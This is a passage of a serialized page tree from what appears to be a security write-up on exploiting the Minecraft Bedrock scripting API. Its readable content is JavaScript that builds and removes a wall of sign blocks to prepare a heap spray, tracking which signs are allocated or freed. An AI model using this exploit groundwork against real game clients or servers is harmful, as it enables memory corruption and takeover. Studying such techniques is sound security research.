free",{"type":25,"tag":216,"props":154455,"children":154456},{"style":6958},[154457],{"type":31,"value":1844},{"type":25,"tag":216,"props":154459,"children":154460},{"style":6941},[154461],{"type":31,"value":154203},{"type":25,"tag":216,"props":154463,"children":154464},{"style":6958},[154465],{"type":31,"value":18755},{"type":25,"tag":216,"props":154467,"children":154468},{"class":6916,"line":7648},[154469,154473,154477,154481,154485,154489,154493,154497,154501,154505,154509,154513],{"type":25,"tag":216,"props":154470,"children":154471},{"style":6967},[154472],{"type":31,"value":16229},{"type":25,"tag":216,"props":154474,"children":154475},{"style":6958},[154476],{"type":31,"value":7010},{"type":25,"tag":216,"props":154478,"children":154479},{"style":6941},[154480],{"type":31,"value":154203},{"type":25,"tag":216,"props":154482,"children":154483},{"style":6947},[154484],{"type":31,"value":7226},{"type":25,"tag":216,"props":154486,"children":154487},{"style":6930},[154488],{"type":31,"value":43295},{"type":25,"tag":216,"props":154490,"children":154491},{"style":6947},[154492],{"type":31,"value":27648},{"type":25,"tag":216,"props":154494,"children":154495},{"style":6941},[154496],{"type":31,"value":154174},{"type":25,"tag":216,"props":154498,"children":154499},{"style":6958},[154500],{"type":31,"value":179},{"type":25,"tag":216,"props":154502,"children":154503},{"style":6941},[154504],{"type":31,"value":154212},{"type":25,"tag":216,"props":154506,"children":154507},{"style":6947},[154508],{"type":31,"value":7226},{"type":25,"tag":216,"props":154510,"children":154511},{"style":6930},[154512],{"type":31,"value":13006},{"type":25,"tag":216,"props":154514,"children":154515},{"style":6958},[154516],{"type":31,"value":18755},{"type":25,"tag":216,"props":154518,"children":154519},{"class":6916,"line":7716},[154520,154524],{"type":25,"tag":216,"props":154521,"children":154522},{"style":6967},[154523],{"type":31,"value":19696},{"type":25,"tag":216,"props":154525,"children":154526},{"style":6958},[154527],{"type":31,"value":6961},{"type":25,"tag":216,"props":154529,"children":154530},{"class":6916,"line":7724},[154531],{"type":25,"tag":216,"props":154532,"children":154533},{"style":6958},[154534],{"type":31,"value":7305},{"type":25,"tag":216,"props":154536,"children":154537},{"class":6916,"line":7754},[154538],{"type":25,"tag":216,"props":154539,"children":154540},{"emptyLinePlaceholder":16},[154541],{"type":31,"value":7636},{"type":25,"tag":216,"props":154543,"children":154544},{"class":6916,"line":7762},[154545,154550,154554,154558,154562,154566,154570,154575],{"type":25,"tag":216,"props":154546,"children":154547},{"style":6941},[154548],{"type":31,"value":154549},"    sign",{"type":25,"tag":216,"props":154551,"children":154552},{"style":6958},[154553],{"type":31,"value":179},{"type":25,"tag":216,"props":154555,"children":154556},{"style":6941},[154557],{"type":31,"value":154203},{"type":25,"tag":216,"props":154559,"children":154560},{"style":6958},[154561],{"type":31,"value":179},{"type":25,"tag":216,"props":154563,"children":154564},{"style":7041},[154565],{"type":31,"value":154283},{"type":25,"tag":216,"props":154567,"children":154568},{"style":6958},[154569],{"type":31,"value":1844},{"type":25,"tag":216,"props":154571,"children":154572},{"style":8199},[154573],{"type":31,"value":154574},"\"\"",{"type":25,"tag":216,"props":154576,"children":154577},{"style":6958},[154578],{"type":31,"value":7791},{"type":25,"tag":216,"props":154580,"children":154581},{"class":6916,"line":7794},[154582,154586,154590,154594,154598,154602],{"type":25,"tag":216,"props":154583,"children":154584},{"style":6941},[154585],{"type":31,"value":154549},{"type":25,"tag":216,"props":154587,"children":154588},{"style":6958},[154589],{"type":31,"value":179},{"type":25,"tag":216,"props":154591,"children":154592},{"style":6941},[154593],{"type":31,"value":154212},{"type":25,"tag":216,"props":154595,"children":154596},{"style":6947},[154597],{"type":31,"value":6950},{"type":25,"tag":216,"props":154599,"children":154600},{"style":6930},[154601],{"type":31,"value":13006},{"type":25,"tag":216,"props":154603,"children":154604},{"style":6958},[154605],{"type":31,"value":6961},{"type":25,"tag":216,"props":154607,"children":154608},{"class":6916,"line":7802},[154609],{"type":25,"tag":216,"props":154610,"children":154611},{"emptyLinePlaceholder":16},[154612],{"type":31,"value":7636},{"type":25,"tag":216,"props":154614,"children":154615},{"class":6916,"line":7862},[154616,154620,154624,154629,154633,154638],{"type":25,"tag":216,"props":154617,"children":154618},{"style":6941},[154619],{"type":31,"value":154549},{"type":25,"tag":216,"props":154621,"children":154622},{"style":6958},[154623],{"type":31,"value":179},{"type":25,"tag":216,"props":154625,"children":154626},{"style":6941},[154627],{"type":31,"value":154628},"block",{"type":25,"tag":216,"props":154630,"children":154631},{"style":6958},[154632],{"type":31,"value":179},{"type":25,"tag":216,"props":154634,"children":154635},{"style":7041},[154636],{"type":31,"value":154637},"setPermutation",{"type":25,"tag":216,"props":154639,"children":154640},{"style":6958},[154641],{"type":31,"value":7414},{"type":25,"tag":216,"props":154643,"children":154644},{"class":6916,"line":12995},[154645,154650,154654,154659,154663,154668],{"type":25,"tag":216,"props":154646,"children":154647},{"style":6941},[154648],{"type":31,"value":154649},"        BlockPermutation",{"type":25,"tag":216,"props":154651,"children":154652},{"style":6958},[154653],{"type":31,"value":179},{"type":25,"tag":216,"props":154655,"children":154656},{"style":7041},[154657],{"type":31,"value":154658},"resolve",{"type":25,"tag":216,"props":154660,"children":154661},{"style":6958},[154662],{"type":31,"value":1844},{"type":25,"tag":216,"props":154664,"children":154665},{"style":8199},[154666],{"type":31,"value":154667},"\"minecraft:air\"",{"type":25,"tag":216,"props":154669,"children":154670},{"style":6958},[154671],{"type":31,"value":7101},{"type":25,"tag":216,"props":154673,"children":154674},{"class":6916,"line":13013},[154675],{"type":25,"tag":216,"props":154676,"children":154677},{"style":6958},[154678],{"type":31,"value":47617},{"type":25,"tag":216,"props":154680,"children":154681},{"class":6916,"line":13058},[154682,154686,154690,154694,154698,154702],{"type":25,"tag":216,"props":154683,"children":154684},{"style":6941},[154685],{"type":31,"value":154549},{"type":25,"tag":216,"props":154687,"children":154688},{"style":6958},[154689],{"type":31,"value":179},{"type":25,"tag":216,"props":154691,"children":154692},{"style":6941},[154693],{"type":31,"value":136891},{"type":25,"tag":216,"props":154695,"children":154696},{"style":6947},[154697],{"type":31,"value":6950},{"type":25,"tag":216,"props":154699,"children":154700},{"style":6930},[154701],{"type":31,"value":16419},{"type":25,"tag":216,"props":154703,"children":154704},{"style":6958},[154705],{"type":31,"value":6961},{"type":25,"tag":216,"props":154707,"children":154708},{"class":6916,"line":13164},[154709],{"type":25,"tag":216,"props":154710,"children":154711},{"style":6958},[154712],{"type":31,"value":7868},{"type":25,"tag":38,"props":154714,"children":154715},{},[154716,154718,154724],{"type":31,"value":154717},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":25,"tag":82,"props":154719,"children":154721},{"className":154720},[],[154722],{"type":31,"value":154723},"signs",{"type":31,"value":154725}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":25,"tag":206,"props":154727,"children":154729},{"code":154728,"language":39572,"meta":7,"className":39570,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[154730],{"type":25,"tag":82,"props":154731,"children":154732},{"__ignoreMap":7},[154733,154748,154755,154771,154788,154795,154857,154919,154926,154942,154950,154972,154998,155023,155043,155072,155084,155091,155099,155121,155155,155162,155182,155198,155214,155230,155242,155250,155257,155264,155271,155278,155294,155309,155316,155375,155434,155441,155456,155464,155492,155520,155528,155535,155554,155581,155588,155595,155610,155617,155624,155631,155638,155694,155706,155713,155720,155781,155793],{"type":25,"tag":216,"props":154734,"children":154735},{"class":6916,"line":6917},[154736,154740,154744],{"type":25,"tag":216,"props":154737,"children":154738},{"style":6930},[154739],{"type":31,"value":15737},{"type":25,"tag":216,"props":154741,"children":154742},{"style":6941},[154743],{"type":31,"value":154183},{"type":25,"tag":216,"props":154745,"children":154746},{"style":6958},[154747],{"type":31,"value":6961},{"type":25,"tag":216,"props":154749,"children":154750},{"class":6916,"line":6763},[154751],{"type":25,"tag":216,"props":154752,"children":154753},{"emptyLinePlaceholder":16},[154754],{"type":31,"value":7636},{"type":25,"tag":216,"props":154756,"children":154757},{"class":6916,"line":6772},[154758,154762,154767],{"type":25,"tag":216,"props":154759,"children":154760},{"style":6930},[154761],{"type":31,"value":35333},{"type":25,"tag":216,"props":154763,"children":154764},{"style":7041},[154765],{"type":31,"value":154766}," create_wall",{"type":25,"tag":216,"props":154768,"children":154769},{"style":6958},[154770],{"type":31,"value":19688},{"type":25,"tag":216,"props":154772,"children":154773},{"class":6916,"line":6999},[154774,154779,154783],{"type":25,"tag":216,"props":154775,"children":154776},{"style":6941},[154777],{"type":31,"value":154778},"    signs",{"type":25,"tag":216,"props":154780,"children":154781},{"style":6947},[154782],{"type":31,"value":6950},{"type":25,"tag":216,"props":154784,"children":154785},{"style":6958},[154786],{"type":31,"value":154787}," [];\n",{"type":25,"tag":216,"props":154789,"children":154790},{"class":6916,"line":7104},[154791],{"type":25,"tag":216,"props":154792,"children":154793},{"emptyLinePlaceholder":16},[154794],{"type":31,"value":7636},{"type":25,"tag":216,"props":154796,"children":154797},{"class":6916,"line":7210},[154798,154802,154806,154810,154815,154819,154823,154827,154832,154836,154841,154845,154849,154853],{"type":25,"tag":216,"props":154799,"children":154800},{"style":6967},[154801],{"type":31,"value":6970},{"type":25,"tag":216,"props":154803,"children":154804},{"style":6958},[154805],{"type":31,"value":7010},{"type":25,"tag":216,"props":154807,"children":154808},{"style":6930},[154809],{"type":31,"value":15737},{"type":25,"tag":216,"props":154811,"children":154812},{"style":6941},[154813],{"type":31,"value":154814}," current_y",{"type":25,"tag":216,"props":154816,"children":154817},{"style":6947},[154818],{"type":31,"value":6950},{"type":25,"tag":216,"props":154820,"children":154821},{"style":6983},[154822],{"type":31,"value":6986},{"type":25,"tag":216,"props":154824,"children":154825},{"style":6958},[154826],{"type":31,"value":21178},{"type":25,"tag":216,"props":154828,"children":154829},{"style":6941},[154830],{"type":31,"value":154831},"current_y",{"type":25,"tag":216,"props":154833,"children":154834},{"style":6947},[154835],{"type":31,"value":12666},{"type":25,"tag":216,"props":154837,"children":154838},{"style":6941},[154839],{"type":31,"value":154840}," WALL_HEIGHT",{"type":25,"tag":216,"props":154842,"children":154843},{"style":6958},[154844],{"type":31,"value":21178},{"type":25,"tag":216,"props":154846,"children":154847},{"style":6941},[154848],{"type":31,"value":154831},{"type":25,"tag":216,"props":154850,"children":154851},{"style":6947},[154852],{"type":31,"value":55232},{"type":25,"tag":216,"props":154854,"children":154855},{"style":6958},[154856],{"type":31,"value":18755},{"type":25,"tag":216,"props":154858,"children":154859},{"class":6916,"line":7238},[154860,154864,154868,154872,154877,154881,154885,154889,154894,154898,154903,154907,154911,154915],{"type":25,"tag":216,"props":154861,"children":154862},{"style":6967},[154863],{"type":31,"value":64538},{"type":25,"tag":216,"props":154865,"children":154866},{"style":6958},[154867],{"type":31,"value":7010},{"type":25,"tag":216,"props":154869,"children":154870},{"style":6930},[154871],{"type":31,"value":15737},{"type":25,"tag":216,"props":154873,"children":154874},{"style":6941},[154875],{"type":31,"value":154876}," current_x",{"type":25,"tag":216,"props":154878,"children":154879},{"style":6947},[154880],{"type":31,"value":6950},{"type":25,"tag":216,"props":154882,"children":154883},{"style":6983},[154884],{"type":31,"value":6986},{"type":25,"tag":216,"props":154886,"children":154887},{"style":6958},[154888],{"type":31,"value":21178},{"type":25,"tag":216,"props":154890,"children":154891},{"style":6941},[154892],{"type":31,"value":154893},"current_x",{"type":25,"tag":216,"props":154895,"children":154896},{"style":6947},[154897],{"type":31,"value":12666},{"type":25,"tag":216,"props":154899,"children":154900},{"style":6941},[154901],{"type":31,"value":154902}," WALL_WIDTH",{"type":25,"tag":216,"props":154904,"children":154905},{"style":6958},[154906],{"type":31,"value":21178},{"type":25,"tag":216,"props":154908,"children":154909},{"style":6941},[154910],{"type":31,"value":154893},{"type":25,"tag":216,"props":154912,"children":154913},{"style":6947},[154914],{"type":31,"value":55232},{"type":25,"tag":216,"props":154916,"children":154917},{"style":6958},[154918],{"type":31,"value":18755},{"type":25,"tag":216,"props":154920,"children":154921},{"class":6916,"line":7251},[154922],{"type":25,"tag":216,"props":154923,"children":154924},{"emptyLinePlaceholder":16},[154925],{"type":31,"value":7636},{"type":25,"tag":216,"props":154927,"children":154928},{"class":6916,"line":7269},[154929,154934,154938],{"type":25,"tag":216,"props":154930,"children":154931},{"style":6958},[154932],{"type":31,"value":154933},"            [",{"type":25,"tag":216,"props":154935,"children":154936},{"style":6947},[154937],{"type":31,"value":13541},{"type":25,"tag":216,"props":154939,"children":154940},{"style":6958},[154941],{"type":31,"value":15722},{"type":25,"tag":216,"props":154943,"children":154944},{"class":6916,"line":7290},[154945],{"type":25,"tag":216,"props":154946,"children":154947},{"style":6958},[154948],{"type":31,"value":154949},"            \n",{"type":25,"tag":216,"props":154951,"children":154952},{"class":6916,"line":7299},[154953,154958,154963,154967],{"type":25,"tag":216,"props":154954,"children":154955},{"style":6930},[154956],{"type":31,"value":154957},"            const",{"type":25,"tag":216,"props":154959,"children":154960},{"style":6941},[154961],{"type":31,"value":154962}," sign_block",{"type":25,"tag":216,"props":154964,"children":154965},{"style":6947},[154966],{"type":31,"value":6950},{"type":25,"tag":216,"props":154968,"children":154969},{"style":6941},[154970],{"type":31,"value":154971}," world\n",{"type":25,"tag":216,"props":154973,"children":154974},{"class":6916,"line":7551},[154975,154980,154985,154989,154994],{"type":25,"tag":216,"props":154976,"children":154977},{"style":6958},[154978],{"type":31,"value":154979},"                .",{"type":25,"tag":216,"props":154981,"children":154982},{"style":7041},[154983],{"type":31,"value":154984},"getDimension",{"type":25,"tag":216,"props":154986,"children":154987},{"style":6958},[154988],{"type":31,"value":1844},{"type":25,"tag":216,"props":154990,"children":154991},{"style":8199},[154992],{"type":31,"value":154993},"\"overworld\"",{"type":25,"tag":216,"props":154995,"children":154996},{"style":6958},[154997],{"type":31,"value":7101},{"type":25,"tag":216,"props":154999,"children":155000},{"class":6916,"line":7568},[155001,155005,155010,155014,155019],{"type":25,"tag":216,"props":155002,"children":155003},{"style":6958},[155004],{"type":31,"value":154979},{"type":25,"tag":216,"props":155006,"children":155007},{"style":7041},[155008],{"type":31,"value":155009},"getBlock",{"type":25,"tag":216,"props":155011,"children":155012},{"style":6958},[155013],{"type":31,"value":1844},{"type":25,"tag":216,"props":155015,"children":155016},{"style":6941},[155017],{"type":31,"value":155018},"sign_location",{"type":25,"tag":216,"props":155020,"children":155021},{"style":6958},[155022],{"type":31,"value":7791},{"type":25,"tag":216,"props":155024,"children":155025},{"class":6916,"line":7585},[155026,155031,155035,155039],{"type":25,"tag":216,"props":155027,"children":155028},{"style":6941},[155029],{"type":31,"value":155030},"            sign_block",{"type":25,"tag":216,"props":155032,"children":155033},{"style":6958},[155034],{"type":31,"value":179},{"type":25,"tag":216,"props":155036,"children":155037},{"style":7041},[155038],{"type":31,"value":154637},{"type":25,"tag":216,"props":155040,"children":155041},{"style":6958},[155042],{"type":31,"value":7414},{"type":25,"tag":216,"props":155044,"children":155045},{"class":6916,"line":7598},[155046,155051,155055,155059,155063,155068],{"type":25,"tag":216,"props":155047,"children":155048},{"style":6941},[155049],{"type":31,"value":155050},"                BlockPermutation",{"type":25,"tag":216,"props":155052,"children":155053},{"style":6958},[155054],{"type":31,"value":179},{"type":25,"tag":216,"props":155056,"children":155057},{"style":7041},[155058],{"type":31,"value":154658},{"type":25,"tag":216,"props":155060,"children":155061},{"style":6958},[155062],{"type":31,"value":1844},{"type":25,"tag":216,"props":155064,"children":155065},{"style":8199},[155066],{"type":31,"value":155067},"\"minecraft:wall_sign\"",{"type":25,"tag":216,"props":155069,"children":155070},{"style":6958},[155071],{"type":31,"value":52845},{"type":25,"tag":216,"props":155073,"children":155074},{"class":6916,"line":7607},[155075,155080],{"type":25,"tag":216,"props":155076,"children":155077},{"style":6941},[155078],{"type":31,"value":155079},"                    facing_direction:",{"type":25,"tag":216,"props":155081,"children":155082},{"style":6983},[155083],{"type":31,"value":23280},{"type":25,"tag":216,"props":155085,"children":155086},{"class":6916,"line":7630},[155087],{"type":25,"tag":216,"props":155088,"children":155089},{"style":6958},[155090],{"type":31,"value":75035},{"type":25,"tag":216,"props":155092,"children":155093},{"class":6916,"line":7639},[155094],{"type":25,"tag":216,"props":155095,"children":155096},{"style":6958},[155097],{"type":31,"value":155098},"            ));\n",{"type":25,"tag":216,"props":155100,"children":155101},{"class":6916,"line":7648},[155102,155107,155112,155116],{"type":25,"tag":216,"props":155103,"children":155104},{"style":6930},[155105],{"type":31,"value":155106},"            let",{"type":25,"tag":216,"props":155108,"children":155109},{"style":6941},[155110],{"type":31,"value":155111}," sign_component",{"type":25,"tag":216,"props":155113,"children":155114},{"style":6947},[155115],{"type":31,"value":6950},{"type":25,"tag":216,"props":155117,"children":155118},{"style":6941},[155119],{"type":31,"value":155120}," sign_block\n",{"type":25,"tag":216,"props":155122,"children":155123},{"class":6916,"line":7716},[155124,155128,155133,155137,155142,155146,155151],{"type":25,"tag":216,"props":155125,"children":155126},{"style":6958},[155127],{"type":31,"value":154979},{"type":25,"tag":216,"props":155129,"children":155130},{"style":7041},[155131],{"type":31,"value":155132},"getComponent",{"type":25,"tag":216,"props":155134,"children":155135},{"style":6958},[155136],{"type":31,"value":1844},{"type":25,"tag":216,"props":155138,"children":155139},{"style":6941},[155140],{"type":31,"value":155141},"BlockComponentTypes",{"type":25,"tag":216,"props":155143,"children":155144},{"style":6958},[155145],{"type":31,"value":179},{"type":25,"tag":216,"props":155147,"children":155148},{"style":6941},[155149],{"type":31,"value":155150},"Sign",{"type":25,"tag":216,"props":155152,"children":155153},{"style":6958},[155154],{"type":31,"value":7791},{"type":25,"tag":216,"props":155156,"children":155157},{"class":6916,"line":7724},[155158],{"type":25,"tag":216,"props":155159,"children":155160},{"emptyLinePlaceholder":16},[155161],{"type":31,"value":7636},{"type":25,"tag":216,"props":155163,"children":155164},{"class":6916,"line":7754},[155165,155170,155174,155178],{"type":25,"tag":216,"props":155166,"children":155167},{"style":6941},[155168],{"type":31,"value":155169},"            signs",{"type":25,"tag":216,"props":155171,"children":155172},{"style":6958},[155173],{"type":31,"value":179},{"type":25,"tag":216,"props":155175,"children":155176},{"style":7041},[155177],{"type":31,"value":7777},{"type":25,"tag":216,"props":155179,"children":155180},{"style":6958},[155181],{"type":31,"value":19092},{"type":25,"tag":216,"props":155183,"children":155184},{"class":6916,"line":7762},[155185,155190,155194],{"type":25,"tag":216,"props":155186,"children":155187},{"style":6941},[155188],{"type":31,"value":155189},"                sign:",{"type":25,"tag":216,"props":155191,"children":155192},{"style":6941},[155193],{"type":31,"value":155111},{"type":25,"tag":216,"props":155195,"children":155196},{"style":6958},[155197],{"type":31,"value":7459},{"type":25,"tag":216,"props":155199,"children":155200},{"class":6916,"line":7794},[155201,155206,155210],{"type":25,"tag":216,"props":155202,"children":155203},{"style":6941},[155204],{"type":31,"value":155205},"                allocated:",{"type":25,"tag":216,"props":155207,"children":155208},{"style":6930},[155209],{"type":31,"value":13006},{"type":25,"tag":216,"props":155211,"children":155212},{"style":6958},[155213],{"type":31,"value":7459},{"type":25,"tag":216,"props":155215,"children":155216},{"class":6916,"line":7802},[155217,155222,155226],{"type":25,"tag":216,"props":155218,"children":155219},{"style":6941},[155220],{"type":31,"value":155221},"                block:",{"type":25,"tag":216,"props":155223,"children":155224},{"style":6941},[155225],{"type":31,"value":154962},{"type":25,"tag":216,"props":155227,"children":155228},{"style":6958},[155229],{"type":31,"value":7459},{"type":25,"tag":216,"props":155231,"children":155232},{"class":6916,"line":7862},[155233,155238],{"type":25,"tag":216,"props":155234,"children":155235},{"style":6941},[155236],{"type":31,"value":155237},"                removed:",{"type":25,"tag":216,"props":155239,"children":155240},{"style":6930},[155241],{"type":31,"value":16261},{"type":25,"tag":216,"props":155243,"children":155244},{"class":6916,"line":12995},[155245],{"type":25,"tag":216,"props":155246,"children":155247},{"style":6958},[155248],{"type":31,"value":155249},"            });\n",{"type":25,"tag":216,"props":155251,"children":155252},{"class":6916,"line":13013},[155253],{"type":25,"tag":216,"props":155254,"children":155255},{"style":6958},[155256],{"type":31,"value":7296},{"type":25,"tag":216,"props":155258,"children":155259},{"class":6916,"line":13058},[155260],{"type":25,"tag":216,"props":155261,"children":155262},{"style":6958},[155263],{"type":31,"value":7305},{"type":25,"tag":216,"props":155265,"children":155266},{"class":6916,"line":13164},[155267],{"type":25,"tag":216,"props":155268,"children":155269},{"style":6958},[155270],{"type":31,"value":7868},{"type":25,"tag":216,"props":155272,"children":155273},{"class":6916,"line":27449},[155274],{"type":25,"tag":216,"props":155275,"children":155276},{"emptyLinePlaceholder":16},[155277],{"type":31,"value":7636},{"type":25,"tag":216,"props":155279,"children":155280},{"class":6916,"line":27484},[155281,155285,155290],{"type":25,"tag":216,"props":155282,"children":155283},{"style":6930},[155284],{"type":31,"value":35333},{"type":25,"tag":216,"props":155286,"children":155287},{"style":7041},[155288],{"type":31,"value":155289}," remove_wall",{"type":25,"tag":216,"props":155291,"children":155292},{"style":6958},[155293],{"type":31,"value":19688},{"type":25,"tag":216,"props":155295,"children":155296},{"class":6916,"line":27492},[155297,155301,155305],{"type":25,"tag":216,"props":155298,"children":155299},{"style":6941},[155300],{"type":31,"value":154778},{"type":25,"tag":216,"props":155302,"children":155303},{"style":6947},[155304],{"type":31,"value":6950},{"type":25,"tag":216,"props":155306,"children":155307},{"style":6958},[155308],{"type":31,"value":154787},{"type":25,"tag":216,"props":155310,"children":155311},{"class":6916,"line":27500},[155312],{"type":25,"tag":216,"props":155313,"children":155314},{"style":6958},[155315],{"type":31,"value":65748},{"type":25,"tag":216,"props":155317,"children":155318},{"class":6916,"line":27509},[155319,155323,155327,155331,155335,155339,155343,155347,155351,155355,155359,155363,155367,155371],{"type":25,"tag":216,"props":155320,"children":155321},{"style":6967},[155322],{"type":31,"value":6970},{"type":25,"tag":216,"props":155324,"children":155325},{"style":6958},[155326],{"type":31,"value":7010},{"type":25,"tag":216,"props":155328,"children":155329},{"style":6930},[155330],{"type":31,"value":15737},{"type":25,"tag":216,"props":155332,"children":155333},{"style":6941},[155334],{"type":31,"value":154814},{"type":25,"tag":216,"props":155336,"children":155337},{"style":6947},[155338],{"type":31,"value":6950},{"type":25,"tag":216,"props":155340,"children":155341},{"style":6983},[155342],{"type":31,"value":6986},{"type":25,"tag":216,"props":155344,"children":155345},{"style":6958},[155346],{"type":31,"value":21178},{"type":25,"tag":216,"props":155348,"children":155349},{"style":6941},[155350],{"type":31,"value":154831},{"type":25,"tag":216,"props":155352,"children":155353},{"style":6947},[155354],{"type":31,"value":12666},{"type":25,"tag":216,"props":155356,"children":155357},{"style":6941},[155358],{"type":31,"value":154840},{"type":25,"tag":216,"props":155360,"children":155361},{"style":6958},[155362],{"type":31,"value":21178},{"type":25,"tag":216,"props":155364,"children":155365},{"style":6941},[155366],{"type":31,"value":154831},{"type":25,"tag":216,"props":155368,"children":155369},{"style":6947},[155370],{"type":31,"value":55232},{"type":25,"tag":216,"props":155372,"children":155373},{"style":6958},[155374],{"type":31,"value":18755},{"type":25,"tag":216,"props":155376,"children":155377},{"class":6916,"line":27551},[155378,155382,155386,155390,155394,155398,155402,155406,155410,155414,155418,155422,155426,155430],{"type":25,"tag":216,"props":155379,"children":155380},{"style":6967},[155381],{"type":31,"value":64538},{"type":25,"tag":216,"props":155383,"children":155384},{"style":6958},[155385],{"type":31,"value":7010},{"type":25,"tag":216,"props":155387,"children":155388},{"style":6930},[155389],{"type":31,"value":15737},{"type":25,"tag":216,"props":155391,"children":155392},{"style":6941},[155393],{"type":31,"value":154876},{"type":25,"tag":216,"props":155395,"children":155396},{"style":6947},[155397],{"type":31,"value":6950},{"type":25,"tag":216,"props":155399,"children":155400},{"style":6983},[155401],{"type":31,"value":6986},{"type":25,"tag":216,"props":155403,"children":155404},{"style":6958},[155405],{"type":31,"value":21178},{"type":25,"tag":216,"props":155407,"children":155408},{"style":6941},[155409],{"type":31,"value":154893},{"type":25,"tag":216,"props":155411,"children":155412},{"style":6947},[155413],{"type":31,"value":12666},{"type":25,"tag":216,"props":155415,"children":155416},{"style":6941},[155417],{"type":31,"value":154902},{"type":25,"tag":216,"props":155419,"children":155420},{"style":6958},[155421],{"type":31,"value":21178},{"type":25,"tag":216,"props":155423,"children":155424},{"style":6941},[155425],{"type":31,"value":154893},{"type":25,"tag":216,"props":155427,"children":155428},{"style":6947},[155429],{"type":31,"value":55232},{"type":25,"tag":216,"props":155431,"children":155432},{"style":6958},[155433],{"type":31,"value":18755},{"type":25,"tag":216,"props":155435,"children":155436},{"class":6916,"line":27584},[155437],{"type":25,"tag":216,"props":155438,"children":155439},{"style":6958},[155440],{"type":31,"value":154949},{"type":25,"tag":216,"props":155442,"children":155443},{"class":6916,"line":27592},[155444,155448,155452],{"type":25,"tag":216,"props":155445,"children":155446},{"style":6958},[155447],{"type":31,"value":154933},{"type":25,"tag":216,"props":155449,"children":155450},{"style":6947},[155451],{"type":31,"value":13541},{"type":25,"tag":216,"props":155453,"children":155454},{"style":6958},[155455],{"type":31,"value":15722},{"type":25,"tag":216,"props":155457,"children":155458},{"class":6916,"line":27600},[155459],{"type":25,"tag":216,"props":155460,"children":155461},{"style":6958},[155462],{"type":31,"value":155463},"             \n",{"type":25,"tag":216,"props":155465,"children":155466},{"class":6916,"line":27609},[155467,155471,155475,155479,155483,155488],{"type":25,"tag":216,"props":155468,"children":155469},{"style":6930},[155470],{"type":31,"value":154957},{"type":25,"tag":216,"props":155472,"children":155473},{"style":6941},[155474],{"type":31,"value":154962},{"type":25,"tag":216,"props":155476,"children":155477},{"style":6947},[155478],{"type":31,"value":6950},{"type":25,"tag":216,"props":155480,"children":155481},{"style":6967},[155482],{"type":31,"value":40168},{"type":25,"tag":216,"props":155484,"children":155485},{"style":7041},[155486],{"type":31,"value":155487}," wait_for_block",{"type":25,"tag":216,"props":155489,"children":155490},{"style":6958},[155491],{"type":31,"value":7414},{"type":25,"tag":216,"props":155493,"children":155494},{"class":6916,"line":27685},[155495,155500,155504,155508,155512,155516],{"type":25,"tag":216,"props":155496,"children":155497},{"style":6941},[155498],{"type":31,"value":155499},"                world",{"type":25,"tag":216,"props":155501,"children":155502},{"style":6958},[155503],{"type":31,"value":179},{"type":25,"tag":216,"props":155505,"children":155506},{"style":7041},[155507],{"type":31,"value":154984},{"type":25,"tag":216,"props":155509,"children":155510},{"style":6958},[155511],{"type":31,"value":1844},{"type":25,"tag":216,"props":155513,"children":155514},{"style":8199},[155515],{"type":31,"value":154993},{"type":25,"tag":216,"props":155517,"children":155518},{"style":6958},[155519],{"type":31,"value":10682},{"type":25,"tag":216,"props":155521,"children":155522},{"class":6916,"line":27718},[155523],{"type":25,"tag":216,"props":155524,"children":155525},{"style":6941},[155526],{"type":31,"value":155527},"                sign_location\n",{"type":25,"tag":216,"props":155529,"children":155530},{"class":6916,"line":27726},[155531],{"type":25,"tag":216,"props":155532,"children":155533},{"style":6958},[155534],{"type":31,"value":129040},{"type":25,"tag":216,"props":155536,"children":155537},{"class":6916,"line":27734},[155538,155542,155546,155550],{"type":25,"tag":216,"props":155539,"children":155540},{"style":6941},[155541],{"type":31,"value":155030},{"type":25,"tag":216,"props":155543,"children":155544},{"style":6958},[155545],{"type":31,"value":179},{"type":25,"tag":216,"props":155547,"children":155548},{"style":7041},[155549],{"type":31,"value":154637},{"type":25,"tag":216,"props":155551,"children":155552},{"style":6958},[155553],{"type":31,"value":7414},{"type":25,"tag":216,"props":155555,"children":155556},{"class":6916,"line":27771},[155557,155561,155565,155569,155573,155577],{"type":25,"tag":216,"props":155558,"children":155559},{"style":6941},[155560],{"type":31,"value":155050},{"type":25,"tag":216,"props":155562,"children":155563},{"style":6958},[155564],{"type":31,"value":179},{"type":25,"tag":216,"props":155566,"children":155567},{"style":7041},[155568],{"type":31,"value":154658},{"type":25,"tag":216,"props":155570,"children":155571},{"style":6958},[155572],{"type":31,"value":1844},{"type":25,"tag":216,"props":155574,"children":155575},{"style":8199},[155576],{"type":31,"value":154667},{"type":25,"tag":216,"props":155578,"children":155579},{"style":6958},[155580],{"type":31,"value":7101},{"type":25,"tag":216,"props":155582,"children":155583},{"class":6916,"line":27784},[155584],{"type":25,"tag":216,"props":155585,"children":155586},{"style":6958},[155587],{"type":31,"value":129040},{"type":25,"tag":216,"props":155589,"children":155590},{"class":6916,"line":27797},[155591],{"type":25,"tag":216,"props":155592,"children":155593},{"emptyLinePlaceholder":16},[155594],{"type":31,"value":7636},{"type":25,"tag":216,"props":155596,"children":155597},{"class":6916,"line":27810},[155598,155602,155606],{"type":25,"tag":216,"props":155599,"children":155600},{"style":6958},[155601],{"type":31,"value":154933},{"type":25,"tag":216,"props":155603,"children":155604},{"style":